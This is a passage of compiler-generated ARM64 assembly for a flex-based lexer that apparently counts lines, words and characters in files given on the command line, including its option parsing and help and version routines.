adrp x11, _yy_n_chars@PAGE
adrp x12, _yy_c_buf_p@PAGE
Lloh206:
adrp x9, _yy_hold_char@PAGE
cbz x8, LBB12_10
; %bb.7:
ldr x13, [x8, x13, lsl #3]
cmp x13, x19
b.eq LBB12_4
; %bb.8:
cbz x13, LBB12_10
; %bb.9:
ldrb w13, [x9, _yy_hold_char@PAGEOFF]
ldr x14, [x12, _yy_c_buf_p@PAGEOFF]
strb w13, [x14]
ldr x13, [x8, x10]
str x14, [x13, #16]
ldr x13, [x11, _yy_n_chars@PAGEOFF]
ldr x14, [x8, x10]
str x13, [x14, #32]
ldr x21, [x19, #32]
LBB12_10:
str x19, [x8, x10]
ldr x13, [x19, #16]
str x13, [x12, _yy_c_buf_p@PAGEOFF]
Lloh207:
adrp x12, _yytext@GOTPAGE
Lloh208:
ldr x12, [x12, _yytext@GOTPAGEOFF]
Lloh209:
str x13, [x12]
ldr x8, [x8, x10]
str x21, [x11, _yy_n_chars@PAGEOFF]
ldr x8, [x8]
adrp x10, _yyin@PAGE
str x8, [x10, _yyin@PAGEOFF]
ldrb w8, [x13]
strb w8, [x9, _yy_hold_char@PAGEOFF]
b LBB12_4
LBB12_11:
Lloh210:
adrp x8, ___stderrp@GOTPAGE
Lloh211:
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
Lloh212:
ldr x0, [x8]
Lloh213:
adrp x8, l_.str.3@PAGE
Lloh214:
add x8, x8, l_.str.3@PAGEOFF
str x8, [sp]
Lloh215:
adrp x1, l_.str.9@PAGE
Lloh216:
add x1, x1, l_.str.9@PAGEOFF
bl _fprintf
mov w0, #2
bl _exit
.loh AdrpAdrp Lloh204, Lloh206
.loh AdrpLdr Lloh204, Lloh205
.loh AdrpLdr Lloh202, Lloh203
.loh AdrpLdr Lloh200, Lloh201
.loh AdrpLdrGotStr Lloh207, Lloh208, Lloh209
.loh AdrpAdd Lloh215, Lloh216
.loh AdrpAdd Lloh213, Lloh214
.loh AdrpLdrGotLdr Lloh210, Lloh211, Lloh212
.cfi_endproc
; -- End function
.globl _yy_scan_string ; -- Begin function yy_scan_string
.p2align 2
_yy_scan_string: ; @yy_scan_string
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x19, x0
bl _strlen
mov x1, x0
mov x0, x19
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
b _yy_scan_bytes
.cfi_endproc
; -- End function
.globl _yy_scan_bytes ; -- Begin function yy_scan_bytes
.p2align 2
_yy_scan_bytes: ; @yy_scan_bytes
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x22, x21, [sp, #16] ; 16-byte Folded Spill
stp x20, x19, [sp, #32] ; 16-byte Folded Spill
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
mov x20, x1
mov x22, x0
add x19, x1, #2
mov x0, x19
bl _malloc
cbz x0, LBB14_5
; %bb.1:
mov x21, x0
cbz x20, LBB14_3
; %bb.2:
mov x0, x21
mov x1, x22
mov x2, x20
bl _memcpy
LBB14_3:
strh wzr, [x21, x20]
mov x0, x21
mov x1, x19
bl _yy_scan_buffer
cbz x0, LBB14_6
; %bb.4:
mov w8, #1
str w8, [x0, #40]
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
ldp x20, x19, [sp, #32] ; 16-byte Folded Reload
ldp x22, x21, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #64
ret
LBB14_5:
Lloh217:
adrp x8, ___stderrp@GOTPAGE
Lloh218:
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
Lloh219:
ldr x0, [x8]
Lloh220:
adrp x8, l_.str.4@PAGE
Lloh221:
add x8, x8, l_.str.4@PAGEOFF
b LBB14_7
LBB14_6:
Lloh222:
adrp x8, ___stderrp@GOTPAGE
Lloh223:
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
Lloh224:
ldr x0, [x8]
Lloh225:
adrp x8, l_.str.5@PAGE
Lloh226:
add x8, x8, l_.str.5@PAGEOFF
LBB14_7:
str x8, [sp]
Lloh227:
adrp x1, l_.str.9@PAGE
Lloh228:
add x1, x1, l_.str.9@PAGEOFF
bl _fprintf
mov w0, #2
bl _exit
.loh AdrpAdd Lloh220, Lloh221
.loh AdrpLdrGotLdr Lloh217, Lloh218, Lloh219
.loh AdrpAdd Lloh225, Lloh226
.loh AdrpLdrGotLdr Lloh222, Lloh223, Lloh224
.loh AdrpAdd Lloh227, Lloh228
.cfi_endproc
; -- End function
.globl _yyget_lineno ; -- Begin function yyget_lineno
.p2align 2
_yyget_lineno: ; @yyget_lineno
.cfi_startproc
; %bb.0:
Lloh229:
adrp x8, _yylineno@PAGE
Lloh230:
ldr w0, [x8, _yylineno@PAGEOFF]
ret
.loh AdrpLdr Lloh229, Lloh230
.cfi_endproc
; -- End function
.globl _yyget_in ; -- Begin function yyget_in
.p2align 2
_yyget_in: ; @yyget_in
.cfi_startproc
; %bb.0:
Lloh231:
adrp x8, _yyin@PAGE
Lloh232:
ldr x0, [x8, _yyin@PAGEOFF]
ret
.loh AdrpLdr Lloh231, Lloh232
.cfi_endproc
; -- End function
.globl _yyget_out ; -- Begin function yyget_out
.p2align 2
_yyget_out: ; @yyget_out
.cfi_startproc
; %bb.0:
Lloh233:
adrp x8, _yyout@PAGE
Lloh234:
ldr x0, [x8, _yyout@PAGEOFF]
ret
.loh AdrpLdr Lloh233, Lloh234
.cfi_endproc
; -- End function
.globl _yyget_leng ; -- Begin function yyget_leng
.p2align 2
_yyget_leng: ; @yyget_leng
.cfi_startproc
; %bb.0:
Lloh235:
adrp x8, _yyleng@GOTPAGE
Lloh236:
ldr x8, [x8, _yyleng@GOTPAGEOFF]
Lloh237:
ldr x0, [x8]
ret
.loh AdrpLdrGotLdr Lloh235, Lloh236, Lloh237
.cfi_endproc
; -- End function
.globl _yyget_text ; -- Begin function yyget_text
.p2align 2
_yyget_text: ; @yyget_text
.cfi_startproc
; %bb.0:
Lloh238:
adrp x8, _yytext@GOTPAGE
Lloh239:
ldr x8, [x8, _yytext@GOTPAGEOFF]
Lloh240:
ldr x0, [x8]
ret
.loh AdrpLdrGotLdr Lloh238, Lloh239, Lloh240
.cfi_endproc
; -- End function
.globl _yyset_lineno ; -- Begin function yyset_lineno
.p2align 2
_yyset_lineno: ; @yyset_lineno
.cfi_startproc
; %bb.0:
adrp x8, _yylineno@PAGE
str w0, [x8, _yylineno@PAGEOFF]
ret
.cfi_endproc
; -- End function
.globl _yyset_in ; -- Begin function yyset_in
.p2align 2
_yyset_in: ; @yyset_in
.cfi_startproc
; %bb.0:
adrp x8, _yyin@PAGE
str x0, [x8, _yyin@PAGEOFF]
ret
.cfi_endproc
; -- End function
.globl _yyset_out ; -- Begin function yyset_out
.p2align 2
_yyset_out: ; @yyset_out
.cfi_startproc
; %bb.0:
adrp x8, _yyout@PAGE
str x0, [x8, _yyout@PAGEOFF]
ret
.cfi_endproc
; -- End function
.globl _yyget_debug ; -- Begin function yyget_debug
.p2align 2
_yyget_debug: ; @yyget_debug
.cfi_startproc
; %bb.0:
Lloh241:
adrp x8, _yy_flex_debug@PAGE
Lloh242:
ldr w0, [x8, _yy_flex_debug@PAGEOFF]
ret
.loh AdrpLdr Lloh241, Lloh242
.cfi_endproc
; -- End function
.globl _yyset_debug ; -- Begin function yyset_debug
.p2align 2
_yyset_debug: ; @yyset_debug
.cfi_startproc
; %bb.0:
adrp x8, _yy_flex_debug@PAGE
str w0, [x8, _yy_flex_debug@PAGEOFF]
ret
.cfi_endproc
; -- End function
.globl _yylex_destroy ; -- Begin function yylex_destroy
.p2align 2
_yylex_destroy: ; @yylex_destroy
.cfi_startproc
; %bb.0:
stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 64
stp x22, x21, [sp, #16] ; 16-byte Folded Spill
stp x20, x19, [sp, #32] ; 16-byte Folded Spill
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
adrp x21, _yy_buffer_stack@PAGE
ldr x19, [x21, _yy_buffer_stack@PAGEOFF]
adrp x22, _yy_buffer_stack_top@PAGE
cbz x19, LBB25_5
; %bb.1:
ldr x23, [x22, _yy_buffer_stack_top@PAGEOFF]
ldr x20, [x19, x23, lsl #3]
cbz x20, LBB25_5
; %bb.2:
str xzr, [x19, x23, lsl #3]
ldr w8, [x20, #40]
cbz w8, LBB25_4
; %bb.3:
ldr x0, [x20, #8]
bl _free
ldr x19, [x21, _yy_buffer_stack@PAGEOFF]
ldr x23, [x22, _yy_buffer_stack_top@PAGEOFF]
LBB25_4:
mov x0, x20
bl _free
str xzr, [x19, x23, lsl #3]
LBB25_5:
mov x0, x19
bl _free
str xzr, [x21, _yy_buffer_stack@PAGEOFF]
str xzr, [x22, _yy_buffer_stack_top@PAGEOFF]
Lloh243:
adrp x8, _yy_buffer_stack_max@PAGE
str xzr, [x8, _yy_buffer_stack_max@PAGEOFF]
Lloh244:
adrp x8, _yy_c_buf_p@PAGE
str xzr, [x8, _yy_c_buf_p@PAGEOFF]
Lloh245:
adrp x8, _yy_init@PAGE
strb wzr, [x8, _yy_init@PAGEOFF]
Lloh246:
adrp x8, _yy_start@PAGE
strb wzr, [x8, _yy_start@PAGEOFF]
Lloh247:
adrp x8, _yyin@PAGE
str xzr, [x8, _yyin@PAGEOFF]
Lloh248:
adrp x8, _yyout@PAGE
str xzr, [x8, _yyout@PAGEOFF]
mov w0, #0
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
ldp x20, x19, [sp, #32] ; 16-byte Folded Reload
ldp x22, x21, [sp, #16] ; 16-byte Folded Reload
ldp x24, x23, [sp], #64 ; 16-byte Folded Reload
ret
.loh AdrpAdrp Lloh247, Lloh248
.loh AdrpAdrp Lloh246, Lloh247
.loh AdrpAdrp Lloh245, Lloh246
.loh AdrpAdrp Lloh244, Lloh245
.loh AdrpAdrp Lloh243, Lloh244
.cfi_endproc
; -- End function
.globl _yyrealloc ; -- Begin function yyrealloc
.p2align 2
_yyrealloc: ; @yyrealloc
.cfi_startproc
; %bb.0:
b _realloc
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #112
.cfi_def_cfa_offset 112
stp x28, x27, [sp, #16] ; 16-byte Folded Spill
stp x26, x25, [sp, #32] ; 16-byte Folded Spill
stp x24, x23, [sp, #48] ; 16-byte Folded Spill
stp x22, x21, [sp, #64] ; 16-byte Folded Spill
stp x20, x19, [sp, #80] ; 16-byte Folded Spill
stp x29, x30, [sp, #96] ; 16-byte Folded Spill
add x29, sp, #96
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
.cfi_offset w25, -72
.cfi_offset w26, -80
.cfi_offset w27, -88
.cfi_offset w28, -96
mov x19, x1
mov x20, x0
Lloh249:
adrp x21, l_.str.6@PAGE
Lloh250:
add x21, x21, l_.str.6@PAGEOFF
Lloh251:
adrp x23, _pipe_output@PAGE
Lloh252:
add x23, x23, _pipe_output@PAGEOFF
Lloh253:
adrp x25, lJTI27_0@PAGE
Lloh254:
add x25, x25, lJTI27_0@PAGEOFF
mov w26, #1
Lloh255:
adrp x27, _switch_present@PAGE
Lloh256:
add x27, x27, _switch_present@PAGEOFF
adrp x22, _line_output@PAGE
adrp x24, _word_output@PAGE
Lloh257:
adrp x28, _row_output@PAGE
Lloh258:
add x28, x28, _row_output@PAGEOFF
b LBB27_4
LBB27_1: ; in Loop: Header=BB27_4 Depth=1
adrp x8, _char_output@PAGE
strb w26, [x8, _char_output@PAGEOFF]
LBB27_2: ; in Loop: Header=BB27_4 Depth=1
mov x8, x27
LBB27_3: ; in Loop: Header=BB27_4 Depth=1
strb w26, [x8]
LBB27_4: ; =>This Inner Loop Header: Depth=1
mov x0, x20
mov x1, x19
mov x2, x21
bl _getopt
sub w8, w0, #63
cmp w8, #56
b.hi LBB27_9
; %bb.5: ; in Loop: Header=BB27_4 Depth=1
adr x9, LBB27_1
ldrb w10, [x25, x8]
add x9, x9, x10, lsl #2
mov x8, x23
br x9
LBB27_6: ; in Loop: Header=BB27_4 Depth=1
strb w26, [x22, _line_output@PAGEOFF]
b LBB27_2
LBB27_7: ; in Loop: Header=BB27_4 Depth=1
mov x8, x28
strb w26, [x28]
b LBB27_4
LBB27_8: ; in Loop: Header=BB27_4 Depth=1
strb w26, [x24, _word_output@PAGEOFF]
b LBB27_2
LBB27_9: ; in Loop: Header=BB27_4 Depth=1
cmn w0, #1
b.ne LBB27_4
; %bb.10:
Lloh259:
adrp x8, _optind@GOTPAGE
Lloh260:
ldr x8, [x8, _optind@GOTPAGEOFF]
Lloh261:
ldrsw x8, [x8]
cmp w8, w20
b.ne LBB27_21
; %bb.11:
Lloh262:
adrp x8, ___stderrp@GOTPAGE
Lloh263:
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
Lloh264:
ldr x0, [x8]
Lloh265:
adrp x8, l_.str.10@PAGE
Lloh266:
add x8, x8, l_.str.10@PAGEOFF
str x8, [sp]
Lloh267:
adrp x1, l_.str.9@PAGE
Lloh268:
add x1, x1, l_.str.9@PAGEOFF
b LBB27_18
LBB27_12:
Lloh269:
adrp x8, _optopt@GOTPAGE
Lloh270:
ldr x8, [x8, _optopt@GOTPAGEOFF]
Lloh271:
ldr w19, [x8]
cmp w19, #127
b.hi LBB27_14
; %bb.13:
Lloh272:
adrp x8, __DefaultRuneLocale@GOTPAGE
Lloh273:
ldr x8, [x8, __DefaultRuneLocale@GOTPAGEOFF]
add x8, x8, x19, lsl #2
ldr w8, [x8, #60]
and w8, w8, #0x40000
b LBB27_15
LBB27_14:
mov x0, x19
mov w1, #262144
bl ___maskrune
mov x8, x0
LBB27_15:
Lloh274:
adrp x9, ___stderrp@GOTPAGE
Lloh275:
ldr x9, [x9, ___stderrp@GOTPAGEOFF]
Lloh276:
ldr x0, [x9]
cbz w8, LBB27_17
; %bb.16:
str x19, [sp]
Lloh277:
adrp x1, l_.str.7@PAGE
Lloh278:
add x1, x1, l_.str.7@PAGEOFF
b LBB27_18
LBB27_17:
str x19, [sp]
Lloh279:
adrp x1, l_.str.8@PAGE
Lloh280:
add x1, x1, l_.str.8@PAGEOFF
LBB27_18:
bl _fprintf
LBB27_19:
mov w0, #1
LBB27_20:
ldp x29, x30, [sp, #96] ; 16-byte Folded Reload
ldp x20, x19, [sp, #80] ; 16-byte Folded Reload
ldp x22, x21, [sp, #64] ; 16-byte Folded Reload
ldp x24, x23, [sp, #48] ; 16-byte Folded Reload
ldp x26, x25, [sp, #32] ; 16-byte Folded Reload
ldp x28, x27, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #112
ret
LBB27_21:
cmp w8, w20
b.ge LBB27_51
; %bb.22:
add x21, x19, x8, lsl #3
Lloh281:
adrp x28, l_.str.11@PAGE
Lloh282:
add x28, x28, l_.str.11@PAGEOFF
sub w20, w20, w8
adrp x25, _yy_buffer_stack@PAGE
adrp x23, _yy_buffer_stack_top@PAGE
adrp x26, _words@PAGE
adrp x19, _lines@PAGE
b LBB27_25
LBB27_23: ; in Loop: Header=BB27_25 Depth=1
mov w0, #10
bl _putchar
LBB27_24: ; in Loop: Header=BB27_25 Depth=1
adrp x8, _chars@PAGE
str xzr, [x8, _chars@PAGEOFF]
str xzr, [x26, _words@PAGEOFF]
add x21, x21, #8
str xzr, [x19, _lines@PAGEOFF]
subs w20, w20, #1
b.eq LBB27_51
LBB27_25: ; =>This Inner Loop Header: Depth=1
ldr x0, [x21]
mov x1, x28
bl _fopen
cbz x0, LBB27_52
; %bb.26: ; in Loop: Header=BB27_25 Depth=1
mov x27, x0
ldr x8, [x25, _yy_buffer_stack@PAGEOFF]
cbz x8, LBB27_28
; %bb.27: ; in Loop: Header=BB27_25 Depth=1
ldr x9, [x23, _yy_buffer_stack_top@PAGEOFF]
ldr x0, [x8, x9, lsl #3]
cbnz x0, LBB27_29
LBB27_28: ; in Loop: Header=BB27_25 Depth=1
bl _yyensure_buffer_stack
Lloh283:
adrp x8, _yyin@PAGE
Lloh284:
ldr x0, [x8, _yyin@PAGEOFF]
mov w1, #16384
bl _yy_create_buffer
ldr x8, [x25, _yy_buffer_stack@PAGEOFF]
ldr x9, [x23, _yy_buffer_stack_top@PAGEOFF]
str x0, [x8, x9, lsl #3]
LBB27_29: ; in Loop: Header=BB27_25 Depth=1
mov x1, x27
bl _yy_init_buffer
ldr x8, [x25, _yy_buffer_stack@PAGEOFF]
ldr x9, [x23, _yy_buffer_stack_top@PAGEOFF]
lsl x9, x9, #3
ldr x10, [x8, x9]
ldr x11, [x10, #32]
adrp x12, _yy_n_chars@PAGE
str x11, [x12, _yy_n_chars@PAGEOFF]
ldr x10, [x10, #16]
Lloh285:
adrp x11, _yy_c_buf_p@PAGE
str x10, [x11, _yy_c_buf_p@PAGEOFF]
Lloh286:
adrp x11, _yytext@GOTPAGE
Lloh287:
ldr x11, [x11, _yytext@GOTPAGEOFF]
Lloh288:
str x10, [x11]
ldr x8, [x8, x9]
ldr x8, [x8]
Lloh289:
adrp x9, _yyin@PAGE
str x8, [x9, _yyin@PAGEOFF]
ldrb w8, [x10]
Lloh290:
adrp x9, _yy_hold_char@PAGE
strb w8, [x9, _yy_hold_char@PAGEOFF]
bl _yylex
mov x0, x27
bl _fclose
adrp x8, _switch_present@PAGE
ldrb w8, [x8, _switch_present@PAGEOFF]
cbnz w8, LBB27_31
; %bb.30: ; in Loop: Header=BB27_25 Depth=1
mov w9, #1
strb w9, [x24, _word_output@PAGEOFF]
strb w9, [x22, _line_output@PAGEOFF]
adrp x8, _char_output@PAGE
strb w9, [x8, _char_output@PAGEOFF]
LBB27_31: ; in Loop: Header=BB27_25 Depth=1
adrp x8, _row_output@PAGE
ldrb w8, [x8, _row_output@PAGEOFF]
cbz w8, LBB27_38
; %bb.32: ; in Loop: Header=BB27_25 Depth=1
ldr x8, [x21]
str x8, [sp]
Lloh291:
adrp x0, l_.str.12@PAGE
Lloh292:
add x0, x0, l_.str.12@PAGEOFF
bl _printf
ldrb w8, [x22, _line_output@PAGEOFF]
cbz w8, LBB27_34
; %bb.33: ; in Loop: Header=BB27_25 Depth=1
ldr x8, [x19, _lines@PAGEOFF]
str x8, [sp]
Lloh293:
adrp x0, l_.str.13@PAGE
Lloh294:
add x0, x0, l_.str.13@PAGEOFF
bl _printf
LBB27_34: ; in Loop: Header=BB27_25 Depth=1
ldrb w8, [x24, _word_output@PAGEOFF]
cbz w8, LBB27_36
; %bb.35: ; in Loop: Header=BB27_25 Depth=1
ldr x8, [x26, _words@PAGEOFF]
str x8, [sp]
Lloh295:
adrp x0, l_.str.14@PAGE
Lloh296:
add x0, x0, l_.str.14@PAGEOFF
bl _printf
LBB27_36: ; in Loop: Header=BB27_25 Depth=1
adrp x8, _char_output@PAGE
ldrb w8, [x8, _char_output@PAGEOFF]
cbz w8, LBB27_23
; %bb.37: ; in Loop: Header=BB27_25 Depth=1
Lloh297:
adrp x8, _chars@PAGE
Lloh298:
ldr x8, [x8, _chars@PAGEOFF]
str x8, [sp]
Lloh299:
adrp x0, l_.str.15@PAGE
Lloh300:
add x0, x0, l_.str.15@PAGEOFF
bl _printf
b LBB27_23
LBB27_38: ; in Loop: Header=BB27_25 Depth=1
adrp x8, _pipe_output@PAGE
ldrb w8, [x8, _pipe_output@PAGEOFF]
cbz w8, LBB27_42
; %bb.39: ; in Loop: Header=BB27_25 Depth=1
ldrb w8, [x22, _line_output@PAGEOFF]
cbz w8, LBB27_43
LBB27_40: ; in Loop: Header=BB27_25 Depth=1
adrp x8, _pipe_output@PAGE
ldrb w9, [x8, _pipe_output@PAGEOFF]
ldr x8, [x19, _lines@PAGEOFF]
cbnz w9, LBB27_50
; %bb.41: ; in Loop: Header=BB27_25 Depth=1
str x8, [sp]
Lloh301:
adrp x0, l_.str.18@PAGE
Lloh302:
add x0, x0, l_.str.18@PAGEOFF
bl _printf
ldrb w8, [x24, _word_output@PAGEOFF]
cbnz w8, LBB27_44
b LBB27_46
LBB27_42: ; in Loop: Header=BB27_25 Depth=1
ldr x0, [x21]
bl _puts
ldrb w8, [x22, _line_output@PAGEOFF]
cbnz w8, LBB27_40
LBB27_43: ; in Loop: Header=BB27_25 Depth=1
ldrb w8, [x24, _word_output@PAGEOFF]
cbz w8, LBB27_46
LBB27_44: ; in Loop: Header=BB27_25 Depth=1
adrp x8, _pipe_output@PAGE
ldrb w9, [x8, _pipe_output@PAGEOFF]
ldr x8, [x26, _words@PAGEOFF]
cbnz w9, LBB27_50
; %bb.45: ; in Loop: Header=BB27_25 Depth=1
str x8, [sp]
Lloh303:
adrp x0, l_.str.19@PAGE
Lloh304:
add x0, x0, l_.str.19@PAGEOFF
bl _printf
LBB27_46: ; in Loop: Header=BB27_25 Depth=1
adrp x8, _char_output@PAGE
ldrb w8, [x8, _char_output@PAGEOFF]
cbz w8, LBB27_49
; %bb.47: ; in Loop: Header=BB27_25 Depth=1
Lloh305:
adrp x8, _pipe_output@PAGE
ldrb w9, [x8, _pipe_output@PAGEOFF]
Lloh306:
adrp x8, _chars@PAGE
Lloh307:
ldr x8, [x8, _chars@PAGEOFF]
cbnz w9, LBB27_50
; %bb.48: ; in Loop: Header=BB27_25 Depth=1
str x8, [sp]
Lloh308:
adrp x0, l_.str.20@PAGE
Lloh309:
add x0, x0, l_.str.20@PAGEOFF
bl _printf
LBB27_49: ; in Loop: Header=BB27_25 Depth=1
adrp x8, _pipe_output@PAGE
ldrb w8, [x8, _pipe_output@PAGEOFF]
cbnz w8, LBB27_24
b LBB27_23
LBB27_50:
str x8, [sp]
Lloh310:
adrp x0, l_.str.17@PAGE
Lloh311:
add x0, x0, l_.str.17@PAGEOFF
bl _printf
LBB27_51:
mov w0, #0
b LBB27_20
LBB27_52:
ldr x0, [x21]
bl _perror
b LBB27_19
LBB27_53:
bl _print_help
LBB27_54:
Lloh312:
adrp x8, l_.str.32@PAGE
Lloh313:
add x8, x8, l_.str.32@PAGEOFF
str x8, [sp]
Lloh314:
adrp x0, l_.str.31@PAGE
Lloh315:
add x0, x0, l_.str.31@PAGEOFF
bl _printf
mov w0, #0
bl _exit
.loh AdrpAdd Lloh257, Lloh258
.loh AdrpAdd Lloh255, Lloh256
.loh AdrpAdd Lloh253, Lloh254
.loh AdrpAdd Lloh251, Lloh252
.loh AdrpAdd Lloh249, Lloh250
.loh AdrpLdrGotLdr Lloh259, Lloh260, Lloh261
.loh AdrpAdd Lloh267, Lloh268
.loh AdrpAdd Lloh265, Lloh266
.loh AdrpLdrGotLdr Lloh262, Lloh263, Lloh264
.loh AdrpLdrGotLdr Lloh269, Lloh270, Lloh271
.loh AdrpLdrGot Lloh272, Lloh273
.loh AdrpLdrGotLdr Lloh274, Lloh275, Lloh276
.loh AdrpAdd Lloh277, Lloh278
.loh AdrpAdd Lloh279, Lloh280
.loh AdrpAdd Lloh281, Lloh282
.loh AdrpLdr Lloh283, Lloh284
.loh AdrpAdrp Lloh289, Lloh290
.loh AdrpLdrGotStr Lloh286, Lloh287, Lloh288
.loh AdrpAdrp Lloh285, Lloh286
.loh AdrpAdd Lloh291, Lloh292
.loh AdrpAdd Lloh293, Lloh294
.loh AdrpAdd Lloh295, Lloh296
.loh AdrpAdd Lloh299, Lloh300
.loh AdrpLdr Lloh297, Lloh298
.loh AdrpAdd Lloh301, Lloh302
.loh AdrpAdd Lloh303, Lloh304
.loh AdrpLdr Lloh306, Lloh307
.loh AdrpAdrp Lloh305, Lloh306
.loh AdrpAdd Lloh308, Lloh309
.loh AdrpAdd Lloh310, Lloh311
.loh AdrpAdd Lloh314, Lloh315
.loh AdrpAdd Lloh312, Lloh313
.cfi_endproc
.section __TEXT,__const
lJTI27_0:
.byte (LBB27_12-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_1-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_53-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_6-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_3-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_7-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_4-LBB27_1)>>2
.byte (LBB27_54-LBB27_1)>>2
.byte (LBB27_8-LBB27_1)>>2
; -- End function
.section __TEXT,__text,regular,pure_instructions
.globl _print_help ; -- Begin function print_help
.p2align 2
_print_help: ; @print_help
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
Lloh316:
adrp x0, l_str@PAGE
Lloh317:
add x0, x0, l_str@PAGEOFF
bl _puts
Lloh318:
adrp x0, l_str.38@PAGE
Lloh319:
add x0, x0, l_str.38@PAGEOFF
bl _puts
Lloh320:
adrp x0, l_str.39@PAGE
Lloh321:
add x0, x0, l_str.39@PAGEOFF
bl _puts
Lloh322:
adrp x0, l_str.40@PAGE
Lloh323:
add x0, x0, l_str.40@PAGEOFF
bl _puts
Lloh324:
adrp x0, l_str.41@PAGE
Lloh325:
add x0, x0, l_str.41@PAGEOFF
bl _puts
Lloh326:
adrp x0, l_str.42@PAGE
Lloh327:
add x0, x0, l_str.42@PAGEOFF
bl _puts
Lloh328:
adrp x0, l_str.43@PAGE
Lloh329:
add x0, x0, l_str.43@PAGEOFF
bl _puts
Lloh330:
adrp x0, l_str.44@PAGE
Lloh331:
add x0, x0, l_str.44@PAGEOFF
bl _puts
Lloh332:
adrp x0, l_str.45@PAGE
Lloh333:
add x0, x0, l_str.45@PAGEOFF
bl _puts
Lloh334:
adrp x0, l_str.46@PAGE
Lloh335:
add x0, x0, l_str.46@PAGEOFF
bl _puts
mov w0, #0
bl _exit
.loh AdrpAdd Lloh334, Lloh335
.loh AdrpAdd Lloh332, Lloh333
.loh AdrpAdd Lloh330, Lloh331
.loh AdrpAdd Lloh328, Lloh329
.loh AdrpAdd Lloh326, Lloh327
.loh AdrpAdd Lloh324, Lloh325
.loh AdrpAdd Lloh322, Lloh323
.loh AdrpAdd Lloh320, Lloh321
.loh AdrpAdd Lloh318, Lloh319
.loh AdrpAdd Lloh316, Lloh317
.cfi_endproc
; -- End function
.globl _print_version ; -- Begin function print_version
.p2align 2
_print_version: ; @print_version
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
Lloh336:
adrp x8, l_.str.32@PAGE
Lloh337:
add x8, x8, l_.str.32@PAGEOFF
str x8, [sp]
Lloh338:
adrp x0, l_.str.31@PAGE
Lloh339:
add x0, x0, l_.str.31@PAGEOFF
bl _printf
mov w0, #0
